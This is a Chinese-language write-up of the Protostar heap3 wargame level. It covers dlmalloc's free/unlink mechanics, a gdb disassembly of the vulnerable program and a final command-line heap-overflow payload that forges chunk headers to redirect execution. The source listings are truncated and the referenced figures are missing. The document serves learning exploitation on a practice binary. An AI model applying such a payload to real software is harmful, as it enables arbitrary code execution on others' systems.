1 源码
1 | #include <stdlib.h> |
2 基础知识
1.DWORDSHOOT
需要了解DWORDSHOOT基本原理,heap3最后是使用了free时触发unlink来实现任意地址修 改,实现控制程序执行流程的。DWORDSHOOT的原理,再另外一篇文章中已经有比较详细的介绍了。
2.DLMALLOC
了解malloc库的基本原理,从而明白如何通过free来触发unlink从而完成溢出。
malloc.c[翻译中]空闲时间会持续翻译。
dlmalloc作者自己写的文章。其中与我们特别相关的是free算法于bins。这里先简单介绍一下bins。
3 调试
使用gdb查看汇编代码。
1 | gdb$ disas main Dump of assembler code for function main: 0x08048889 <main+0>: push ebp 0x0804888a <main+1>: mov ebp,esp 0x0804888c <main+3>: and esp,0xfffffff0 0x0804888f <main+6>: sub esp,0x20 0x08048892 <main+9>: mov DWORD PTR [esp],0x20 0x08048899 <main+16>: call 0x8048ff2 <malloc> 0x0804889e <main+21>: mov DWORD PTR [esp+0x14],eax 0x080488a2 <main+25>: mov DWORD PTR [esp],0x20 0x080488a9 <main+32>: call 0x8048ff2 <malloc> 0x080488ae <main+37>: mov DWORD PTR [esp+0x18],eax 0x080488b2 <main+41>: mov DWORD PTR [esp],0x20 0x080488b9 <main+48>: call 0x8048ff2 <malloc> 0x080488be <main+53>: mov DWORD PTR [esp+0x1c],eax 0x080488c2 <main+57>: mov eax,DWORD PTR [ebp+0xc] 0x080488c5 <main+60>: add eax,0x4 0x080488c8 <main+63>: mov eax,DWORD PTR [eax] 0x080488ca <main+65>: mov DWORD PTR [esp+0x4],eax 0x080488ce <main+69>: mov eax,DWORD PTR [esp+0x14] 0x080488d2 <main+73>: mov DWORD PTR [esp],eax 0x080488d5 <main+76>: call 0x8048750 <strcpy@plt> 0x080488da <main+81>: mov eax,DWORD PTR [ebp+0xc] 0x080488dd <main+84>: add eax,0x8 0x080488e0 <main+87>: mov eax,DWORD PTR [eax] 0x080488e2 <main+89>: mov DWORD PTR [esp+0x4],eax 0x080488e6 <main+93>: mov eax,DWORD PTR [esp+0x18] 0x080488ea <main+97>: mov DWORD PTR [esp],eax 0x080488ed <main+100>: call 0x8048750 <strcpy@plt> 0x080488f2 <main+105>: mov eax,DWORD PTR [ebp+0xc] 0x080488f5 <main+108>: add eax,0xc 0x080488f8 <main+111>: mov eax,DWORD PTR [eax] 0x080488fa <main+113>: mov DWORD PTR [esp+0x4],eax 0x080488fe <main+117>: mov eax,DWORD PTR [esp+0x1c] 0x08048902 <main+121>: mov DWORD PTR [esp],eax 0x08048905 <main+124>: call 0x8048750 <strcpy@plt> 0x0804890a <main+129>: mov eax,DWORD PTR [esp+0x1c] 0x0804890e <main+133>: mov DWORD PTR [esp],eax 0x08048911 <main+136>: call 0x8049824 <free> 0x08048916 <main+141>: mov eax,DWORD PTR [esp+0x18] 0x0804891a <main+145>: mov DWORD PTR [esp],eax 0x0804891d <main+148>: call 0x8049824 <free> 0x08048922 <main+153>: mov eax,DWORD PTR [esp+0x14] 0x08048926 <main+157>: mov DWORD PTR [esp],eax 0x08048929 <main+160>: call 0x8049824 <free> 0x0804892e <main+165>: mov DWORD PTR [esp],0x804ac27 0x08048935 <main+172>: call 0x8048790 <puts@plt> 0x0804893a <main+177>: leave 0x0804893b <main+178>: ret |
在第一个free和ret之前分别下断点,观察堆上数据。具体如下图所示:
现在我们去分析malloc.c源码的free部分。
1 | void dlfree(void* mem) { |
根据源码,简单的流程如下图所示。
那么正常情况下free(c)代码执行时,对流程的分析如下图所示。
而在对输入的参数精心构筑之后溢出后的流程分析如下图所示。
所以此题的答案也就出来了。
1 | user@protostar:/tmp$ ./bin/heap3 `python -c "print '\x90'*10 + '\x68\x64\x88\x04\x08\xc3'"` `python -c "print 'A'*32 + '\xfc\xff\xff\xff'*2 + 'CCCC' + '\x1c\xb1\x04\x08' + '\x04\xc0\x04\x08' "` F |
具体的shellcode地址,DWORDSHOOT如何构建,再之前的基础学习之后应该不需要想家复述,如有不明看这里。